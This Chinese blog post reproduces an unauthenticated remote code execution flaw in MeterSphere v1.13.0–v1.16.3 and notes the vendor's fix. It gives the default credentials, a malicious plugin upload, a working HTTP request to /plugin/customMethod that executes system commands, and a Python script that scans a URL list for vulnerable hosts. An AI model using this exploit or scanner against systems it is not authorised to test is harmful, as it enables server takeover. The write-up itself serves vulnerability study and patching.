当前位置:首页 > 漏洞复现 > 正文内容

Metersphere未授权RCE

UzJu2年前 (2022-04-16)漏洞复现1845

一、环境搭建

影响范围:MeterSphere v1.13.0 - v1.16.3

可以去releases里面找以前的版本

image-20220109141800023

或者直接在官网下载也可以,建议下载离线版本

image-20220109141853685

随后下载到服务器并解压

tar -zxvf metersphere-offline-installer-v1.13.0.tar.gz

image-20220109142037678

image-20220109142251712

直接运行install.sh即可

./install.sh

然后等待片刻即可,然后查看docker ps

image-20220109142347679

然后这个时候访问ip:8081端口即可,如果访问的时候提示超时或者其他情况,等待一下就行

二、漏洞复现

image-20220109143053000

账号为admin密码为metersphere

image-20220109143034357

我们访问到插件管理后,burp抓到一个包,一个list包

image-20220109143411548

然后我们就可以发现,把cookie删掉,也是可以访问到这个接口

image-20220109143509040

那么这样,我们随意上传一个插件试试

image-20220109143542153

随后会抓到一个add的请求

image-20220109143706309

那既然这样,大概的流程如下

image-20220109144235307

通过在twitter中搜集信息和查看官方插件发现

image-20220109144347677

都用了io.metershpere.plugin.DebugSampler

那么我们直接在github里面搜索, 然后选择code就会发现一个github

https://github.com/metersphere/metersphere-plugin-DebugSampler

image-20220109144747965

随后我们先把这个项目下载到本地,mave重新打包一下

image-20220109151623819

然后直接上传这个插件

image-20220109151658698

然后点击查看脚本

image-20220109151812759

会抓到如下请求

image-20220109151849152

这里我想的是能否把这些返回信息改成返回执行的系统命令,或者去写那个自定义方法

我们可以看到这里留给了一个自定义的方法,可以编写自己的代码逻辑

image-20220109151859223

因为Java不太行,所以这里感谢zhzyker提供的jar包

我们将插件上传后可以去docker中查看日志

image-20220109152427548

我们可以看到这里的日志已经执行了

image-20220109152446756

然后我们构造如下请求

POST /plugin/customMethod HTTP/1.1
Host: ip:8081
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 68
Content-Type: application/json

{"entry": "io.metersphere.plugin.DebugSampler.cmd", "request": "id"}

image-20220109152525352

即可执行任意命令

通过JD-GUI反编译jar包也可以看到,新建了一个cmd类,里面再customMethod方法里面写了执行请求过来的命令

image-20220109153503053

然后我们看官方的修复,发现新增了一行代码(虽然没有自己debug和看)

image-20220109153608411

并且删除了

image-20220109153729594

三、POC

poc编写比较简单,只需要判断/plugin/list是否可读即可

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools 
@File    :poc.py
@Author  :UzJu
@Date    :2022/1/7 21:21 
@Email   :UzJuer@163.com
'''

import requests
requests.packages.urllib3.disable_warnings()
requests.DEFAULT_RETRIES = 100


def checkVuln(url):
    poc = "/plugin/list"
    r = requests.get(url=url + poc,
                     verify=False,
                     timeout=3)
    if r.status_code == 200 and b"data" in r.content:
        print(f"[+]{url}-存在漏洞", r.content)
    else:
        print(f"[-]{url}-不存在漏洞")

if __name__ == '__main__':    
    with open('./url.txt', 'r') as f:
        for url in f.read().splitlines():
            checkVuln(url)

image-20220109153236979

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/32.java

分享给朋友:

相关文章

Log4j_2.17.0_RCE复现-CVE-2021-44832

Log4j_2.17.0_RCE复现-CVE-2021-44832

0x00 漏洞复现 还是使用Github上大佬的环境 https://github.com/tangxiaofeng7/apache-log4j-poc 不过这个好像已经删掉了:),还好之前本地存了 然后需要改一些配置文件,然...

Apereo CAS 4.1反序列化与APPWebAuthByPass

Apereo CAS 4.1反序列化与APPWebAuthByPass

0x00 安装docker-composeUbuntu安装docker-compose 使用DaoCloud源下载 sudo curl -L https://get.daocloud.io/docker/compose/releases...

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

Apache APISIX Dashboard 接口未授权访问漏洞复现-CVE-2021-45232

[TOC]一、环境搭建 Autor: UzJu Email: uzjuer@163.com 使用docker搭建环境 https://github.com/apache/apisix-docker 修改dock...

Grafana8.3.0任意文件读取0day复现

Grafana8.3.0任意文件读取0day复现

docker pull vulfocus/grafana-read_arbitrary_file:latest 自己搭建环境也可以,然后启动...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。